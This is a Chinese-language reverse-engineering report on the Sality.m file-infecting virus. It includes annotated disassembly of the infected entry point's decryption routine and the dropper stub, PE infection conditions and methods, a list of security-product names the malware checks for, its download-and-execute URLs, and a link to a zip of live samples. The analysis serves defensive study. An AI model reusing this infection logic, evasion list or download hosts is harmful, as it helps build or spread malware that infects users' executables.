Sality.m分析
0x1、样本概述
FILE_A MD5:1C9A0E01C6033801AFC5A12DE1CC5BDC
FILE_B MD5:4B6B70F4A199CF3EAC1554B08804BC4F
FILE_C MD5:91741578019D3613EEBD6C8F1862548E
样本FILE_A是捕获的病毒文件;FILE_B是一款网络连接状态查看工具Tcpview.exe;样本FILE_C是在虚拟机系统中运行文件FILE_A使其感染样本FILE_B所得。本报告全部结果都是通过分析样本FILE_C所得。
样本FILE_C[以下简称样本]运行后将释放动态库文件wcmlogon.dll到系统目录下;感染以下三个位置中所有的exe和scr扩展名的文件:注册表HKCU和HKLM下启动项文件、当前系统中所有磁盘文件以及共享目录中文件;读取配置文件中的数据,连接网络下载文件并执行。
样本所采用的主要技术有:浮点指令、多线程、HOOK
0x2、分析过程
被感染文件入口点代码被病毒修改,所以样本被加载到内存后直接执行病毒代码,入口点代码功能是解密后执行被感染文件尾部的加密病毒数据;被解密后的代码功能为释放文件中被压缩的动态库文件,并加载调用其唯一的导出函数。病毒动态库文件导出函数并没有实际功能,主要功能代码都在其入口函数当中,导出函数只是为初始化其入口函数的相关参数。动态库文件的入口函数主要功能有:感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断。
样本的执行流程图如下:
0x2.1、被感染文件入口
程序入口代码功能是完成对指定数据块的解密,然后跳转到解密数据块执行。
解密算法没有什么新意,但解密方式比较特别,是在对数据进行解密的过程中使用了八条浮点指令。完整的入口代码如下,同时下面的代码长度也是病毒修改的正常文件入口处代码的长度。
.text: pusha
.text: call sub_4083BC
//计算入口代码相对00401000的重定位偏移offset
//设定解密长度len
.text:0040836D nop
.text:0040836E lea edi, [ebp+401000h]
//计算入口点地址ep_offset
//ep_offset = 00401000 + offset
.text: push 13C99h
.text: add edi, [esp]
.text:0040837C mov esi, edi
//计算解密地址
//de_off = ep_offset + 13C99
.text:0040837E push 40102Fh
.text: push ebp
//压入两个参数,用于计算循环起始地址
//0040102f和offset
.text: finit
.text: fild dword ptr [esp]
.text:0040838A fild dword ptr [esp+]
.text:0040838E faddp st(), st
.text: fistp dword ptr [esp]
.text: mov ebx, [esp]
//计算循环起始地址为004083CB调用
//loop_off = 0040102F + offset
.text: lodsw
//读出密文数据
.text: push ecx
.text: fild dword ptr [esp]
.text:0040839C fimul dword ptr [ebp+401066h]
//[ebp+401066] = [004083CD] = 000022DA = temp_key
.text:004083A2 fistp dword ptr [esp]
.text:004083A5 shl ecx,
.text:004083A7 sub [esp], ecx
//计算解密密钥
//key = len * temp_key - len*2
.text:004083AA xor eax, [esp]
//解密密文
//data = data ^ key
.text:004083AD shr ecx,
//恢复ecx设定
.text:004083AF stosw
//保存解密后数据
.text:004083B1 pop eax
//恢复栈平衡
.text:004083B2 loop loc_4083CB
//解密长度减1,开始循环解密,直到解密长度为0
//len = len - 1
.text:004083B4 mov cx, 4FFCh
.text:004083B8 sub edi, ecx
.text:004083BA jmp edi
//解密结束,跳转到de_off - 4 开始执行。 .text:004083BC mov ebp, [esp]
.text:004083BF sub ebp, 401006h
.text:004083C5 mov ecx, 2800h
.text:004083CA retn
//计算代码重定位偏移
//设定解密长度 .text:004083CB jmp ebx
//跳转开始循环
//jump loop_off .text:004083CD dd 22DAh
//temp_key
0x2.2、解密后代码
解密后代码的主要功能有4个:恢复被修改的入口点代码,修改返回原始入口点的代码;动态获取相关api地址;释放被感染文件中保存的压缩格式的病毒动态库文件,加载文件并调用其唯一的导出函数;返回已经恢原始文件代码的入口点开始执行。
.wrdata:0041C004 pop eax
.wrdata:0041C005 pop eax
.wrdata:0041C006 mov ecx, 6Ah
.wrdata:0041C00B mov eax, offset sub_401000
.wrdata:0041C010 add eax, ebp
.wrdata:0041C012 pop ebx
.wrdata:0041C013 add ebp, ebx
.wrdata:0041C015 mov [ebp+401243h], eax
//修改地址0041C243下的数据,将跳转地址修改为文件原始入口点地址
//使被感染文件能够正常执行。
.wrdata:0041C01B lea esi, unk_4014E2[ebp]
.wrdata:0041C021 mov edi, eax
.wrdata:0041C023 rep movsb
//以上代码是从解密后的代码起始到功能1部分
//恢复修改的入口点代码,修改返回原始入口点的代码
===========================================================
.wrdata:0041C025 xor ebx, ebx
.wrdata:0041C027 mov ebx, fs:30h
.wrdata:0041C02D test ebx, ebx
.wrdata:0041C02F js short loc_41C03F
……………………
.wrdata:0041C03F mov ebx, [ebx+34h]
.wrdata:0041C042 lea ebx, [ebx+7Ch]
.wrdata:0041C045 mov ebx, [ebx+3Ch]
//通过fs寄存器获取kernel32.dll的image_base地址
……………………
.wrdata:0041C062 mov ss:dword_40140B[ebp], ebx
.wrdata:0041C068 lea eax, string_loadlibrary[ebp]
.wrdata:0041C06E push eax
.wrdata:0041C06F push ss:dword_40140B[ebp]
.wrdata:0041C075 call fun_str_fun_addr
.wrdata:0041C07A call fun_check_eax
.wrdata:0041C07F mov dword ptr ss:addr_loadlibrary[ebp], eax
.wrdata:0041C085 lea eax, string_GetProcAddress[ebp]
.wrdata:0041C08B push eax
.wrdata:0041C08C push ss:dword_40140B[ebp]
.wrdata:0041C092 call fun_str_fun_addr
.wrdata:0041C097 call fun_check_eax
.wrdata:0041C09C mov ss:addr_GetProcAddress[ebp], eax
.wrdata:0041C0A2 lea eax, string_kernel32[ebp]
.wrdata:0041C0A8 push eax
.wrdata:0041C0A9 call dword ptr ss:addr_loadlibrary[ebp]
.wrdata:0041C0AF call fun_check_eax
.wrdata:0041C0B4 mov ss:dword_40140B[ebp], eax
.wrdata:0041C0BA lea edi, string_funnamelist[ebp]
.wrdata:0041C0C0 mov edx, ss:dword_40140B[ebp]
.wrdata:0041C0C6 call fun_loop_getfunaddr
.wrdata:0041C0CB push
.wrdata:0041C0CD call dword ptr [ebp+401486h]
//此处调用的函数为: kernel32.SetErrorMode
.wrdata:0041C0D3 lea eax, (loc_401588+)[ebp]
//此处是获取动态库文件名字符串“LZ32”
.wrdata:0041C0D9 push eax
.wrdata:0041C0DA call dword ptr ss:addr_loadlibrary[ebp]
.wrdata:0041C0E0 call fun_check_eax
.wrdata:0041C0E5 mov ss:dword_40140B[ebp], eax
.wrdata:0041C0EB lea edi, (loc_40149A+)[ebp]
//此处是获取要动态获取的函数名列表
.wrdata:0041C0F1 mov edx, ss:dword_40140B[ebp]
.wrdata:0041C0F7 call fun_loop_getfunaddr
//省略了部分非关键代码,以上代码功能2部分
//通过fs寄存器获取kernel基址,遍历其导出表,获取Loadlibrary函数和GetProcadress函数,然后动态加载kernel32和LZ32并获取病毒代码要使用的函数。
===========================================================
.wrdata:0041C0FC lea edi, unk_4014E2[ebp]
.wrdata:0041C102 push 80h
.wrdata:0041C107 push edi
.wrdata:0041C108 call dword ptr [ebp+401475h]
// addr_GetSystemDirectoryA
.wrdata:0041C10E cmp byte ptr [ebp+eax+4014E1h], 5Ch
.wrdata:0041C116 jnz short loc_41C119
.wrdata:0041C118 dec eax
……………………
.wrdata:0041C137 push eax
.wrdata:0041C138 push
.wrdata:0041C13A push
.wrdata:0041C13C push eax
.wrdata:0041C13D inc eax
.wrdata:0041C13E push eax
.wrdata:0041C13F push 40000000h
.wrdata:0041C144 push edi
.wrdata:0041C145 call dword ptr [ebp+40143Fh]
//ss:[0041C43F]=7C801A24 (kernel32.CreateFileA)
.wrdata:0041C14B mov [ebp+40137Bh], eax
.wrdata:0041C151 inc eax
.wrdata:0041C152 jz short loc_41C16E
.wrdata:0041C154 lea edi, (loc_401991+)[ebp]
.wrdata:0041C15A push ecx
.wrdata:0041C15B push esp
.wrdata:0041C15C push 466Ch
.wrdata:0041C161 push edi
.wrdata:0041C162 push dword ptr [ebp+40137Bh]
.wrdata:0041C168 call dword ptr [ebp+40145Dh]
// ss:[0041C45D]=7C810F9F (kernel32.WriteFile)
……………………
.wrdata:0041C1FE lea eax, unk_4014E2[ebp]
//string:C:\WINDOWS\system32\wcmlogon.dll
.wrdata:0041C204 push eax
.wrdata:0041C205 call dword ptr ss:addr_loadlibrary[ebp]
.wrdata:0041C20B call fun_check_eax
.wrdata:0041C210 mov ss:dword_40140B[ebp], eax
.wrdata:0041C216 lea eax, unk_4014C3[ebp]
// string:_RtlMoveExecute
.wrdata:0041C21C push eax
.wrdata:0041C21D push ss:dword_40140B[ebp]
.wrdata:0041C223 call fun_str_fun_addr
.wrdata:0041C228 call fun_check_eax
.wrdata:0041C22D mov [ebp+4014A2h], eax
.wrdata:0041C233 lea edi, sub_401000[ebp]
.wrdata:0041C239 push edi
.wrdata:0041C23A call dword ptr [ebp+4014A2h]
//省略了部分非关键代码,以上代码功能3部分
//释放病毒体动态库文件,获取其唯一导出函数并调用执行。
===========================================================
.wrdata:0041C240 pop eax
.wrdata:0041C241 popa
.wrdata:0041C242 mov eax, offset loc_4011F0
//此处地址在恢复入口点代码之前会被修改为原始入口点地址
.wrdata:0041C247 jmp eax
//以上代码是从解密后的代码起始到功能4部分
//恢复文件入口点的上下文环境,返回已经恢原始文件代码的入口点开始执行
0x3、病毒动态库文件
动态库文件只有一个导出函数,函数名为:_RtlMoveExecute,功能为拷贝数据到共享内存块,共享内存块将做为动态库入口代码的相关参数使用。动态库文件的主要功能都是在其入口函数中实现的,包括感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断等。
0x3.1、导出函数_RtlMoveExecute
导出函数有一个参数,是本地数据的地址。函数功能将本地数据拷贝到入口函数申请的内存空间中,供入口点函数调用修改使用。
所调用函数共有2个参数,第一个参数是本地数据地址,第二个参数是数据拷贝方向,0和1表示从内存拷贝至本地;2表示从本地拷贝至内存。其中还有2个隐含参数,一个是拷贝数据的长度:0x5000;另一个是内存空间的地址。
.text:10001EC0 push ebp
.text:10001EC1 mov ebp, esp
.text:10001EC3 cmp dword ptr [ebp+],
.text:10001EC7 jz short loc_10001ED7
.text:10001EC9 push
//压入参数,表示是将本地数据拷贝到共享内存空间中
.text:10001ECB mov eax, [ebp+]
.text:10001ECE push eax
//内存空间句柄
.text:10001ECF call sub_10001DE0
//调用数据拷贝函数
.text:10001ED4 add esp,
.text:10001ED7 pop ebp
.text:10001ED8 retn
0x3.2、入口函数
入口点函数主要功能有:申请内存空间,挂钩windows消息,创建3个功能线程。
申请内存空间是为了在几个线程之间进行通信,对申请的内存空间的数据修改和初始化都是通过函数sub_10001DE0实现的,已经在动态库的导出函数中作了介绍。
挂钩windows消息,其挂钩的消息类型为:WH_GETMESSAGE,用以截获从消息队列送出的消息,回调函数和动态库入口函数相同。
创建的线程分别为:感染线程、下载线程和进程管理线程
0x4、线程说明
由于各个线程代码较长,不再报告中粘贴,只做功能介绍,具体内容请参照附件中的idb文件。
0x4.1、进程管理线程:
函数地址:sub_10001350
功能:遍历进程,如果进程路径包含指定字符串,将退出病毒进程。具体字符串列表如下:
NAV、AVP、KAV、DRWEB、OUTPOST、ZONEALARM、NOD32、ANTI、NMAIN、MCUPDATE、MGUI、NPROTECT、NUPGRADE、RTVSCAN、SAVSCAN、AUTOTRACE、AVSYNMGR、ATGUARD、AVGSERV、AVPROTECT、BIDEF、BIDSERVER、BIPCP、BLACKICE、CLEANER、DRWATSON、DRWTSN32、LOCKDOWN、MCAGENT、NPFMESSENGER、PERISCOPE、PINGSCAN、PORTDETECTIVE、PROTECTX、TRJSCAN、VSMAIN、AVLTMAIN、ESCANH、ICSSUPPNT、ICSUPP、AVXQUAR
0x4.2、下载线程:
函数地址:sub_ 100037D0
功能:读取配置文件中的相关参数,下载样本到本地并执行。相关url地址如下,但地址并不完整,还会继续和随即字符串拼接,同时url中的“#”也会被替换。
http://www.bpfq02.com/mrow6/?id
http://#.egozda.com/?idf
http://#.kerrabez.com/?id
333.com/mrow7/?id
0x4.3、感染线程:
函数地址:sub_ 10003D00
功能:感染注册表启动项列表中映像路径为exe的映像文件;所有驱动器中的*.scr和*.exe文件;所有网络共享目录中的*.scr和*.exe文件。
感染条件:
1) 文件大小必须在0x1000~0x1400000之间的范围
2) dos头重的重定位地址必须为0x40
3) 文件pe格式合法,且文件为32为pe文件格式
4) 最后一个数据节内不存在调试信息
5) 倒数第二个数据节的文件大小和内存大小都为0,或都不为0
6) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度
感染方式:
1) 如果最后一个节名称是UPX、TEXT、CODE三个中的任意一个将增加最后一个数据节的节大小。
2) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度,则增加一个数据节。节名称为节名称为文件名尾字母+第二个节名称构成,字母全小写
3) 修改入口处代码长度为0x6a的数据
4) 生成随即key,加密原始入口点代码和病毒功能代码。将其写入到最后一个数据节中扩充的节空间或新增的尾节中。
0x5、附件说明
附件中文件介绍如下:
1c9a0e01c6033801afc5a12de1cc5bdc
得到的被感染文件样本
Tcpview.exe1
Tcpview.idb
被上面的样本感染的病毒文件和对应的idb文件
ana.txt
Tcpview.exe1被感染后入口代码的解密函数分析
Tcpview_decode.exe1
Tcpview_decode.idb
Tcpview.exe1文件经过解密后,跳转到解密代码后dump的结果,以及ida分析的相关idb文件
wcmlogon.dll
wcmlogon.idb
解密后代码将释放一个动态库文件,然后调用其唯一的导出函数开始执行.
name_list.txt
动态库文件运行后将检测的文件名是否包含执行字符串列表
system.ini
动态库文件运行时,将向系统配置文件中写入数据,写入数据为文件的最后一行
附件下载地址:http://files.cnblogs.com/files/Mikhail/sality_m.zip